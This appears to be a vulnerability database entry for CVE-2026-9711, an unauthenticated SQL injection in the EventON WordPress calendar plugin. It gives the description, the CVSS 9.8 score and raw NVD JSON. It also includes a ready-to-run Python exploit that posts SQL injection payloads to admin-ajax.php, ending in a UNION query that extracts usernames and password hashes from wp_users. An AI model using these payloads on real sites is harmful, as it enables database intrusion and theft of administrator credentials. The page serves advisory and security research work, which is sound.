Security Vulnerability Report
中文
CVE-2026-9711 CVSS 9.8 CRITICAL

CVE-2026-9711

Published: 2026-06-30 10:16:37
Last Modified: 2026-06-30 14:08:14

Description

The EventON - WordPress Virtual Event Calendar Plugin plugin for WordPress (full) is vulnerable to SQL Injection via the WordPress 'search' parameter in versions up to, and including, 5.0.11 due to insufficient escaping on the user supplied parameter and lack of preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database, granted the "Enable additional search queries" setting is enabled and at least one published event exists.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

EventON WordPress Plugin (full) <= 5.0.11

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-9711 - EventON WordPress Plugin SQL Injection PoC # Vulnerability: Unauthenticated SQL Injection via 'search' parameter # Requirements: "Enable additional search queries" setting enabled + at least 1 published event import requests import sys TARGET_URL = "http://target-wordpress-site.com" SEARCH_ENDPOINT = "/wp-admin/admin-ajax.php" # or the search action endpoint def exploit_sql_injection(target_url, injection_payload): """ Exploit SQL injection in EventON plugin's search parameter. The 'search' parameter is passed directly into SQL query without proper escaping. """ # Step 1: Trigger the search action with malicious payload params = { "action": "eventon_search", "search": injection_payload } response = requests.post( target_url + SEARCH_ENDPOINT, data=params, headers={"User-Agent": "Mozilla/5.0"} ) return response # Example 1: Boolean-based blind SQL injection to extract database version payload_version = "test' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT @@version),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.tables GROUP BY x)a)-- -" # Example 2: UNION-based injection to extract wp_users # Determine number of columns first payload_union_cols = "test' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15-- -" # Example 3: Time-based blind SQL injection payload_time_based = "test' AND SLEEP(5)-- -" # Example 4: Extract admin credentials payload_users = "test' UNION SELECT user_login,user_pass,3,4,5,6,7,8,9,10,11,12,13,14,15 FROM wp_users-- -" if __name__ == "__main__": print(f"[*] Targeting: {TARGET_URL}") print(f"[*] Sending SQL injection payload...") # Test with time-based to confirm vulnerability resp = exploit_sql_injection(TARGET_URL, payload_time_based) print(f"[*] Response time indicates injection: {resp.elapsed.total_seconds()}s") # Extract data resp = exploit_sql_injection(TARGET_URL, payload_users) print(f"[*] Response: {resp.text[:500]}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-9711", "sourceIdentifier": "[email protected]", "published": "2026-06-30T10:16:37.350", "lastModified": "2026-06-30T14:08:13.510", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The EventON - WordPress Virtual Event Calendar Plugin plugin for WordPress (full) is vulnerable to SQL Injection via the WordPress 'search' parameter in versions up to, and including, 5.0.11 due to insufficient escaping on the user supplied parameter and lack of preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database, granted the \"Enable additional search queries\" setting is enabled and at least one published event exists."}], "affected": [{"source": "[email protected]", "affectedData": [{"vendor": "EventON", "product": "EventON (Pro) - WordPress Virtual Event Calendar Plugin", "defaultStatus": "unaffected", "versions": [{"version": "0", "lessThanOrEqual": "5.0.11", "versionType": "semver", "status": "affected"}]}]}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}], "ssvcV203": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "ssvcData": {"timestamp": "2026-06-30T12:33:37.303432Z", "id": "CVE-2026-9711", "options": [{"exploitation": "none"}, {"automatable": "yes"}, {"technicalImpact": "total"}], "role": "CISA Coordinator", "version": "2.0.3"}}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://www.myeventon.com/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/1b5a0c87-59b0-4da4-8949-0957f8e1b479?source=cve", "source": "[email protected]"}]}}